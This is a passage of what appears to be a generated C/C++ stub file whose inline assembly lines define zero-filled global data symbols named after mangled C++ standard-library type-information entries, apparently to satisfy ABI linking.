__asm__(".globl _ZTIPs; .pushsection .data; .type _ZTIPs,@object; .size _ZTIPs, 16; _ZTIPs: .long 0; .popsection");
__asm__(".globl _ZTIPt; .pushsection .data; .type _ZTIPt,@object; .size _ZTIPt, 16; _ZTIPt: .long 0; .popsection");
__asm__(".globl _ZTIPv; .pushsection .data; .type _ZTIPv,@object; .size _ZTIPv, 16; _ZTIPv: .long 0; .popsection");
__asm__(".globl _ZTIPw; .pushsection .data; .type _ZTIPw,@object; .size _ZTIPw, 16; _ZTIPw: .long 0; .popsection");
__asm__(".globl _ZTIPx; .pushsection .data; .type _ZTIPx,@object; .size _ZTIPx, 16; _ZTIPx: .long 0; .popsection");
__asm__(".globl _ZTIPy; .pushsection .data; .type _ZTIPy,@object; .size _ZTIPy, 16; _ZTIPy: .long 0; .popsection");
__asm__(".globl _ZTISd; .pushsection .data; .type _ZTISd,@object; .size _ZTISd, 32; _ZTISd: .long 0; .popsection");
__asm__(".globl _ZTISi; .pushsection .data; .type _ZTISi,@object; .size _ZTISi, 24; _ZTISi: .long 0; .popsection");
__asm__(".globl _ZTISo; .pushsection .data; .type _ZTISo,@object; .size _ZTISo, 24; _ZTISo: .long 0; .popsection");
__asm__(".globl _ZTISt10bad_typeid; .pushsection .data; .type _ZTISt10bad_typeid,@object; .size _ZTISt10bad_typeid, 12; _ZTISt10bad_typeid: .long 0; .popsection");
__asm__(".globl _ZTISt10ctype_base; .pushsection .data; .type _ZTISt10ctype_base,@object; .size _ZTISt10ctype_base, 8; _ZTISt10ctype_base: .long 0; .popsection");
__asm__(".globl _ZTISt10money_base; .pushsection .data; .type _ZTISt10money_base,@object; .size _ZTISt10money_base, 8; _ZTISt10money_base: .long 0; .popsection");
__asm__(".globl _ZTISt10moneypunctIcLb0EE; .pushsection .data; .type _ZTISt10moneypunctIcLb0EE,@object; .size _ZTISt10moneypunctIcLb0EE, 32; _ZTISt10moneypunctIcLb0EE: .long 0; .popsection");
__asm__(".globl _ZTISt10moneypunctIcLb1EE; .pushsection .data; .type _ZTISt10moneypunctIcLb1EE,@object; .size _ZTISt10moneypunctIcLb1EE, 32; _ZTISt10moneypunctIcLb1EE: .long 0; .popsection");
__asm__(".globl _ZTISt10moneypunctIwLb0EE; .pushsection .data; .type _ZTISt10moneypunctIwLb0EE,@object; .size _ZTISt10moneypunctIwLb0EE, 32; _ZTISt10moneypunctIwLb0EE: .long 0; .popsection");
__asm__(".globl _ZTISt10moneypunctIwLb1EE; .pushsection .data; .type _ZTISt10moneypunctIwLb1EE,@object; .size _ZTISt10moneypunctIwLb1EE, 32; _ZTISt10moneypunctIwLb1EE: .long 0; .popsection");
__asm__(".globl _ZTISt11__timepunctIcE; .pushsection .data; .type _ZTISt11__timepunctIcE,@object; .size _ZTISt11__timepunctIcE, 12; _ZTISt11__timepunctIcE: .long 0; .popsection");
__asm__(".globl _ZTISt11__timepunctIwE; .pushsection .data; .type _ZTISt11__timepunctIwE,@object; .size _ZTISt11__timepunctIwE, 12; _ZTISt11__timepunctIwE: .long 0; .popsection");
__asm__(".globl _ZTISt11logic_error; .pushsection .data; .type _ZTISt11logic_error,@object; .size _ZTISt11logic_error, 12; _ZTISt11logic_error: .long 0; .popsection");
__asm__(".globl _ZTISt11range_error; .pushsection .data; .type _ZTISt11range_error,@object; .size _ZTISt11range_error, 12; _ZTISt11range_error: .long 0; .popsection");
__asm__(".globl _ZTISt12codecvt_base; .pushsection .data; .type _ZTISt12codecvt_base,@object; .size _ZTISt12codecvt_base, 8; _ZTISt12codecvt_base: .long 0; .popsection");
__asm__(".globl _ZTISt12ctype_bynameIcE; .pushsection .data; .type _ZTISt12ctype_bynameIcE,@object; .size _ZTISt12ctype_bynameIcE, 12; _ZTISt12ctype_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTISt12ctype_bynameIwE; .pushsection .data; .type _ZTISt12ctype_bynameIwE,@object; .size _ZTISt12ctype_bynameIwE, 12; _ZTISt12ctype_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTISt12domain_error; .pushsection .data; .type _ZTISt12domain_error,@object; .size _ZTISt12domain_error, 12; _ZTISt12domain_error: .long 0; .popsection");
__asm__(".globl _ZTISt12length_error; .pushsection .data; .type _ZTISt12length_error,@object; .size _ZTISt12length_error, 12; _ZTISt12length_error: .long 0; .popsection");
__asm__(".globl _ZTISt12out_of_range; .pushsection .data; .type _ZTISt12out_of_range,@object; .size _ZTISt12out_of_range, 12; _ZTISt12out_of_range: .long 0; .popsection");
__asm__(".globl _ZTISt13bad_exception; .pushsection .data; .type _ZTISt13bad_exception,@object; .size _ZTISt13bad_exception, 12; _ZTISt13bad_exception: .long 0; .popsection");
__asm__(".globl _ZTISt13basic_filebufIcSt11char_traitsIcEE; .pushsection .data; .type _ZTISt13basic_filebufIcSt11char_traitsIcEE,@object; .size _ZTISt13basic_filebufIcSt11char_traitsIcEE, 12; _ZTISt13basic_filebufIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt13basic_filebufIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt13basic_filebufIwSt11char_traitsIwEE,@object; .size _ZTISt13basic_filebufIwSt11char_traitsIwEE, 12; _ZTISt13basic_filebufIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt13basic_fstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTISt13basic_fstreamIcSt11char_traitsIcEE,@object; .size _ZTISt13basic_fstreamIcSt11char_traitsIcEE, 12; _ZTISt13basic_fstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt13basic_fstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt13basic_fstreamIwSt11char_traitsIwEE,@object; .size _ZTISt13basic_fstreamIwSt11char_traitsIwEE, 12; _ZTISt13basic_fstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt13basic_istreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt13basic_istreamIwSt11char_traitsIwEE,@object; .size _ZTISt13basic_istreamIwSt11char_traitsIwEE, 24; _ZTISt13basic_istreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt13basic_ostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt13basic_ostreamIwSt11char_traitsIwEE,@object; .size _ZTISt13basic_ostreamIwSt11char_traitsIwEE, 24; _ZTISt13basic_ostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt13messages_base; .pushsection .data; .type _ZTISt13messages_base,@object; .size _ZTISt13messages_base, 8; _ZTISt13messages_base: .long 0; .popsection");
__asm__(".globl _ZTISt13runtime_error; .pushsection .data; .type _ZTISt13runtime_error,@object; .size _ZTISt13runtime_error, 12; _ZTISt13runtime_error: .long 0; .popsection");
__asm__(".globl _ZTISt14basic_ifstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTISt14basic_ifstreamIcSt11char_traitsIcEE,@object; .size _ZTISt14basic_ifstreamIcSt11char_traitsIcEE, 12; _ZTISt14basic_ifstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt14basic_ifstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt14basic_ifstreamIwSt11char_traitsIwEE,@object; .size _ZTISt14basic_ifstreamIwSt11char_traitsIwEE, 12; _ZTISt14basic_ifstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt14basic_iostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt14basic_iostreamIwSt11char_traitsIwEE,@object; .size _ZTISt14basic_iostreamIwSt11char_traitsIwEE, 32; _ZTISt14basic_iostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt14basic_ofstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTISt14basic_ofstreamIcSt11char_traitsIcEE,@object; .size _ZTISt14basic_ofstreamIcSt11char_traitsIcEE, 12; _ZTISt14basic_ofstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt14basic_ofstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt14basic_ofstreamIwSt11char_traitsIwEE,@object; .size _ZTISt14basic_ofstreamIwSt11char_traitsIwEE, 12; _ZTISt14basic_ofstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt14codecvt_bynameIcc11__mbstate_tE; .pushsection .data; .type _ZTISt14codecvt_bynameIcc11__mbstate_tE,@object; .size _ZTISt14codecvt_bynameIcc11__mbstate_tE, 12; _ZTISt14codecvt_bynameIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTISt14codecvt_bynameIwc11__mbstate_tE; .pushsection .data; .type _ZTISt14codecvt_bynameIwc11__mbstate_tE,@object; .size _ZTISt14codecvt_bynameIwc11__mbstate_tE, 12; _ZTISt14codecvt_bynameIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTISt14collate_bynameIcE; .pushsection .data; .type _ZTISt14collate_bynameIcE,@object; .size _ZTISt14collate_bynameIcE, 12; _ZTISt14collate_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTISt14collate_bynameIwE; .pushsection .data; .type _ZTISt14collate_bynameIwE,@object; .size _ZTISt14collate_bynameIwE, 12; _ZTISt14collate_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTISt14overflow_error; .pushsection .data; .type _ZTISt14overflow_error,@object; .size _ZTISt14overflow_error, 12; _ZTISt14overflow_error: .long 0; .popsection");
__asm__(".globl _ZTISt15basic_streambufIcSt11char_traitsIcEE; .pushsection .data; .type _ZTISt15basic_streambufIcSt11char_traitsIcEE,@object; .size _ZTISt15basic_streambufIcSt11char_traitsIcEE, 8; _ZTISt15basic_streambufIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt15basic_streambufIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt15basic_streambufIwSt11char_traitsIwEE,@object; .size _ZTISt15basic_streambufIwSt11char_traitsIwEE, 8; _ZTISt15basic_streambufIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt15basic_stringbufIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTISt15basic_stringbufIcSt11char_traitsIcESaIcEE,@object; .size _ZTISt15basic_stringbufIcSt11char_traitsIcESaIcEE, 12; _ZTISt15basic_stringbufIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt15basic_stringbufIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTISt15basic_stringbufIwSt11char_traitsIwESaIwEE,@object; .size _ZTISt15basic_stringbufIwSt11char_traitsIwESaIwEE, 12; _ZTISt15basic_stringbufIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt15messages_bynameIcE; .pushsection .data; .type _ZTISt15messages_bynameIcE,@object; .size _ZTISt15messages_bynameIcE, 12; _ZTISt15messages_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTISt15messages_bynameIwE; .pushsection .data; .type _ZTISt15messages_bynameIwE,@object; .size _ZTISt15messages_bynameIwE, 12; _ZTISt15messages_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTISt15numpunct_bynameIcE; .pushsection .data; .type _ZTISt15numpunct_bynameIcE,@object; .size _ZTISt15numpunct_bynameIcE, 12; _ZTISt15numpunct_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTISt15numpunct_bynameIwE; .pushsection .data; .type _ZTISt15numpunct_bynameIwE,@object; .size _ZTISt15numpunct_bynameIwE, 12; _ZTISt15numpunct_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTISt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 12; _ZTISt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 12; _ZTISt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 12; _ZTISt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 12; _ZTISt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt15underflow_error; .pushsection .data; .type _ZTISt15underflow_error,@object; .size _ZTISt15underflow_error, 12; _ZTISt15underflow_error: .long 0; .popsection");
__asm__(".globl _ZTISt16invalid_argument; .pushsection .data; .type _ZTISt16invalid_argument,@object; .size _ZTISt16invalid_argument, 12; _ZTISt16invalid_argument: .long 0; .popsection");
__asm__(".globl _ZTISt17moneypunct_bynameIcLb0EE; .pushsection .data; .type _ZTISt17moneypunct_bynameIcLb0EE,@object; .size _ZTISt17moneypunct_bynameIcLb0EE, 12; _ZTISt17moneypunct_bynameIcLb0EE: .long 0; .popsection");
__asm__(".globl _ZTISt17moneypunct_bynameIcLb1EE; .pushsection .data; .type _ZTISt17moneypunct_bynameIcLb1EE,@object; .size _ZTISt17moneypunct_bynameIcLb1EE, 12; _ZTISt17moneypunct_bynameIcLb1EE: .long 0; .popsection");
__asm__(".globl _ZTISt17moneypunct_bynameIwLb0EE; .pushsection .data; .type _ZTISt17moneypunct_bynameIwLb0EE,@object; .size _ZTISt17moneypunct_bynameIwLb0EE, 12; _ZTISt17moneypunct_bynameIwLb0EE: .long 0; .popsection");
__asm__(".globl _ZTISt17moneypunct_bynameIwLb1EE; .pushsection .data; .type _ZTISt17moneypunct_bynameIwLb1EE,@object; .size _ZTISt17moneypunct_bynameIwLb1EE, 12; _ZTISt17moneypunct_bynameIwLb1EE: .long 0; .popsection");
__asm__(".globl _ZTISt18basic_stringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTISt18basic_stringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTISt18basic_stringstreamIcSt11char_traitsIcESaIcEE, 12; _ZTISt18basic_stringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt18basic_stringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTISt18basic_stringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTISt18basic_stringstreamIwSt11char_traitsIwESaIwEE, 12; _ZTISt18basic_stringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt19basic_istringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTISt19basic_istringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTISt19basic_istringstreamIcSt11char_traitsIcESaIcEE, 12; _ZTISt19basic_istringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt19basic_istringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTISt19basic_istringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTISt19basic_istringstreamIwSt11char_traitsIwESaIwEE, 12; _ZTISt19basic_istringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt19basic_ostringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTISt19basic_ostringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTISt19basic_ostringstreamIcSt11char_traitsIcESaIcEE, 12; _ZTISt19basic_ostringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt19basic_ostringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTISt19basic_ostringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTISt19basic_ostringstreamIwSt11char_traitsIwESaIwEE, 12; _ZTISt19basic_ostringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt21__ctype_abstract_baseIcE; .pushsection .data; .type _ZTISt21__ctype_abstract_baseIcE,@object; .size _ZTISt21__ctype_abstract_baseIcE, 32; _ZTISt21__ctype_abstract_baseIcE: .long 0; .popsection");
__asm__(".globl _ZTISt21__ctype_abstract_baseIwE; .pushsection .data; .type _ZTISt21__ctype_abstract_baseIwE,@object; .size _ZTISt21__ctype_abstract_baseIwE, 32; _ZTISt21__ctype_abstract_baseIwE: .long 0; .popsection");
__asm__(".globl _ZTISt23__codecvt_abstract_baseIcc11__mbstate_tE; .pushsection .data; .type _ZTISt23__codecvt_abstract_baseIcc11__mbstate_tE,@object; .size _ZTISt23__codecvt_abstract_baseIcc11__mbstate_tE, 32; _ZTISt23__codecvt_abstract_baseIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTISt23__codecvt_abstract_baseIwc11__mbstate_tE; .pushsection .data; .type _ZTISt23__codecvt_abstract_baseIwc11__mbstate_tE,@object; .size _ZTISt23__codecvt_abstract_baseIwc11__mbstate_tE, 32; _ZTISt23__codecvt_abstract_baseIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTISt5ctypeIcE; .pushsection .data; .type _ZTISt5ctypeIcE,@object; .size _ZTISt5ctypeIcE, 32; _ZTISt5ctypeIcE: .long 0; .popsection");
__asm__(".globl _ZTISt5ctypeIwE; .pushsection .data; .type _ZTISt5ctypeIwE,@object; .size _ZTISt5ctypeIwE, 12; _ZTISt5ctypeIwE: .long 0; .popsection");
__asm__(".globl _ZTISt7codecvtIcc11__mbstate_tE; .pushsection .data; .type _ZTISt7codecvtIcc11__mbstate_tE,@object; .size _ZTISt7codecvtIcc11__mbstate_tE, 12; _ZTISt7codecvtIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTISt7codecvtIwc11__mbstate_tE; .pushsection .data; .type _ZTISt7codecvtIwc11__mbstate_tE,@object; .size _ZTISt7codecvtIwc11__mbstate_tE, 12; _ZTISt7codecvtIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTISt7collateIcE; .pushsection .data; .type _ZTISt7collateIcE,@object; .size _ZTISt7collateIcE, 12; _ZTISt7collateIcE: .long 0; .popsection");
__asm__(".globl _ZTISt7collateIwE; .pushsection .data; .type _ZTISt7collateIwE,@object; .size _ZTISt7collateIwE, 12; _ZTISt7collateIwE: .long 0; .popsection");
__asm__(".globl _ZTISt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 12; _ZTISt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 12; _ZTISt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 12; _ZTISt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 12; _ZTISt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt8bad_cast; .pushsection .data; .type _ZTISt8bad_cast,@object; .size _ZTISt8bad_cast, 12; _ZTISt8bad_cast: .long 0; .popsection");
__asm__(".globl _ZTISt8ios_base; .pushsection .data; .type _ZTISt8ios_base,@object; .size _ZTISt8ios_base, 8; _ZTISt8ios_base: .long 0; .popsection");
__asm__(".globl _ZTISt8messagesIcE; .pushsection .data; .type _ZTISt8messagesIcE,@object; .size _ZTISt8messagesIcE, 32; _ZTISt8messagesIcE: .long 0; .popsection");
__asm__(".globl _ZTISt8messagesIwE; .pushsection .data; .type _ZTISt8messagesIwE,@object; .size _ZTISt8messagesIwE, 32; _ZTISt8messagesIwE: .long 0; .popsection");
__asm__(".globl _ZTISt8numpunctIcE; .pushsection .data; .type _ZTISt8numpunctIcE,@object; .size _ZTISt8numpunctIcE, 12; _ZTISt8numpunctIcE: .long 0; .popsection");
__asm__(".globl _ZTISt8numpunctIwE; .pushsection .data; .type _ZTISt8numpunctIwE,@object; .size _ZTISt8numpunctIwE, 12; _ZTISt8numpunctIwE: .long 0; .popsection");
__asm__(".globl _ZTISt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 32; _ZTISt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 32; _ZTISt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 12; _ZTISt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 12; _ZTISt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt9bad_alloc; .pushsection .data; .type _ZTISt9bad_alloc,@object; .size _ZTISt9bad_alloc, 12; _ZTISt9bad_alloc: .long 0; .popsection");
__asm__(".globl _ZTISt9basic_iosIcSt11char_traitsIcEE; .pushsection .data; .type _ZTISt9basic_iosIcSt11char_traitsIcEE,@object; .size _ZTISt9basic_iosIcSt11char_traitsIcEE, 12; _ZTISt9basic_iosIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTISt9basic_iosIwSt11char_traitsIwEE; .pushsection .data; .type _ZTISt9basic_iosIwSt11char_traitsIwEE,@object; .size _ZTISt9basic_iosIwSt11char_traitsIwEE, 12; _ZTISt9basic_iosIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTISt9exception; .pushsection .data; .type _ZTISt9exception,@object; .size _ZTISt9exception, 8; _ZTISt9exception: .long 0; .popsection");
__asm__(".globl _ZTISt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 12; _ZTISt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 12; _ZTISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTISt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTISt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 12; _ZTISt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 12; _ZTISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTISt9time_base; .pushsection .data; .type _ZTISt9time_base,@object; .size _ZTISt9time_base, 8; _ZTISt9time_base: .long 0; .popsection");
__asm__(".globl _ZTISt9type_info; .pushsection .data; .type _ZTISt9type_info,@object; .size _ZTISt9type_info, 8; _ZTISt9type_info: .long 0; .popsection");
__asm__(".globl _ZTIa; .pushsection .data; .type _ZTIa,@object; .size _ZTIa, 8; _ZTIa: .long 0; .popsection");
__asm__(".globl _ZTIb; .pushsection .data; .type _ZTIb,@object; .size _ZTIb, 8; _ZTIb: .long 0; .popsection");
__asm__(".globl _ZTIc; .pushsection .data; .type _ZTIc,@object; .size _ZTIc, 8; _ZTIc: .long 0; .popsection");
__asm__(".globl _ZTId; .pushsection .data; .type _ZTId,@object; .size _ZTId, 8; _ZTId: .long 0; .popsection");
__asm__(".globl _ZTIe; .pushsection .data; .type _ZTIe,@object; .size _ZTIe, 8; _ZTIe: .long 0; .popsection");
__asm__(".globl _ZTIf; .pushsection .data; .type _ZTIf,@object; .size _ZTIf, 8; _ZTIf: .long 0; .popsection");
__asm__(".globl _ZTIg; .pushsection .data; .type _ZTIg,@object; .size _ZTIg, 8; _ZTIg: .long 0; .popsection");
__asm__(".globl _ZTIh; .pushsection .data; .type _ZTIh,@object; .size _ZTIh, 8; _ZTIh: .long 0; .popsection");
__asm__(".globl _ZTIi; .pushsection .data; .type _ZTIi,@object; .size _ZTIi, 8; _ZTIi: .long 0; .popsection");
__asm__(".globl _ZTIj; .pushsection .data; .type _ZTIj,@object; .size _ZTIj, 8; _ZTIj: .long 0; .popsection");
__asm__(".globl _ZTIl; .pushsection .data; .type _ZTIl,@object; .size _ZTIl, 8; _ZTIl: .long 0; .popsection");
__asm__(".globl _ZTIm; .pushsection .data; .type _ZTIm,@object; .size _ZTIm, 8; _ZTIm: .long 0; .popsection");
__asm__(".globl _ZTIs; .pushsection .data; .type _ZTIs,@object; .size _ZTIs, 8; _ZTIs: .long 0; .popsection");
__asm__(".globl _ZTIt; .pushsection .data; .type _ZTIt,@object; .size _ZTIt, 8; _ZTIt: .long 0; .popsection");
__asm__(".globl _ZTIv; .pushsection .data; .type _ZTIv,@object; .size _ZTIv, 8; _ZTIv: .long 0; .popsection");
__asm__(".globl _ZTIw; .pushsection .data; .type _ZTIw,@object; .size _ZTIw, 8; _ZTIw: .long 0; .popsection");
__asm__(".globl _ZTIx; .pushsection .data; .type _ZTIx,@object; .size _ZTIx, 8; _ZTIx: .long 0; .popsection");
__asm__(".globl _ZTIy; .pushsection .data; .type _ZTIy,@object; .size _ZTIy, 8; _ZTIy: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv116__enum_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv116__enum_type_infoE,@object; .size _ZTSN10__cxxabiv116__enum_type_infoE, 33; _ZTSN10__cxxabiv116__enum_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv117__array_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv117__array_type_infoE,@object; .size _ZTSN10__cxxabiv117__array_type_infoE, 34; _ZTSN10__cxxabiv117__array_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv117__class_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv117__class_type_infoE,@object; .size _ZTSN10__cxxabiv117__class_type_infoE, 34; _ZTSN10__cxxabiv117__class_type_infoE: .long 0; .popsection");
